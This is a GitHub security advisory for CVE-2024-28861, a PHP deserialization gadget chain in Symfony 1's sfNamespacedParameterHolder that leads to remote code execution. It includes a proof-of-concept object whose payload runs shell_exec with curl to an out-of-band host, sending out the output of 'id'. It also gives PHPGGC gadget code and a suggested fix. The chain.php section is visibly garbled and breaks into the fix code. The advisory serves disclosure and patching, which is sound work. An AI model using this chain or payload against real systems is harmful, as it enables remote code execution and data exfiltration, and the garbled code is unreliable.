GitHub Advisoryadvisory · Packagist
GHSA-pv9j-c53q-h433 Gadget chain in Symfony 1 due to uncontrolled unserialized input in sfNamespacedParameterHolder
MEDIUM
Official page ↗
- Aliases
- CVE-2024-28861
- Ecosystem
- Packagist
- Packages
- friendsofsymfony1/symfony1
- Severity
- Moderate
- Weaknesses
- CWE-502
- Reviewed
- 2024-03-22
Affected packages
• Packagist friendsofsymfony1/symfony1: >= 1.1.0, < 1.5.19 → fixed in 1.5.19
Description
Summary
Symfony 1 has a gadget chain due to dangerous unserialize in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer unserialize user input in his project.
Details
This vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example:
```php
public function executeIndex(sfWebRequest $request)
{
$a = unserialize($request->getParameter('user'));
}
```
We will make the assumption this is the case in the rest of this explanation.
Symfony 1 provides the class `sfNamespacedParameterHolder` which implements `Serializable` interface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementing `unserialize()` method:
```php
public function unserialize($serialized)
{
$this->__unserialize(unserialize($serialized));
}
```
Which make an array access on the deserialized data without control on the type of the `$data` parameter:
```php
public function __unserialize($data)
{
$this->default_namespace = $data[0];
$this->parameters = $data[1];
}
```
Thus, an attacker provide any object type in `$data` to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on `$data[0]` for any class implementing `ArrayAccess` interface. `sfOutputEscaperArrayDecorator` implements such interface. Here is the call made on `offsetGet()`:
```php
public function offsetGet($offset)
{
$value = isset($this->value[$offset]) ? $this->value[$offset] : null;
return sfOutputEscaper::escape($this->escapingMethod, $value);
}
```
Which trigger `escape()` in `sfOutputEscaper` class with attacker controlled parameters from deserialized object with `$this->escapingMethod` and `$this->value[$offset]`:
```php
public static function escape($escapingMethod, $value)
{
if (null === $value)
{
return $value;
}
// Scalars are anything other than arrays, objects and resources.
if (is_scalar($value))
{
return call_user_func($escapingMethod, $value);
}
```
Which calls `call_user_func` with previous attacker controlled input.
PoC
So we need the following object to trigger an OS command like `shell_exec("curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)");`:
```php
object(sfNamespacedParameterHolder)#4 (1) {
["prop":protected]=>
object(sfOutputEscaperArrayDecorator)#3 (2) {
["value":protected]=>
array(1) {
[0]=>
string(66) "curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)"
}
["escapingMethod":protected]=>
string(10) "shell_exec"
}
}
```
We craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before:
• gadgets.php:
```php
class sfOutputEscaperArrayDecorator
{
protected $value;
protected $escapingMethod;
public function __construct($escapingMethod, $value) {
$this->escapingMethod = $escapingMethod;
$this->value = $value;
}
}
class sfNamespacedParameterHolder implements Serializable
{
protected $prop = null;
public function __construct($prop) {
$this->prop = $prop;
}
public function serialize()
{
return serialize($this->prop);
}
public function unserialize($serialized)
{
}
}
```
• chain.php:
```php
namespace GadgetChain\Symfony;
class RCE16 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
public static $version = '1.1.0 default_namespace = $data[0];
$this->parameters = $data[1];
} else {
$this->default_namespace = null;
$this->parameters = array();
// or throw an exception maybe?
}
}
```
This fix should be applied in both `sfNamespacedParameterHolder` and `sfParameterHolder`.
Related
Alias · CVE (1)
- CVE-2024-28861 Symfony 1 is a community-driven fork of the 1.x branch of Symfony, a PHP framework for web projects. vulnerability
Weakness · CWE (1)
- CWE-502 Deserialization of Untrusted Data weakness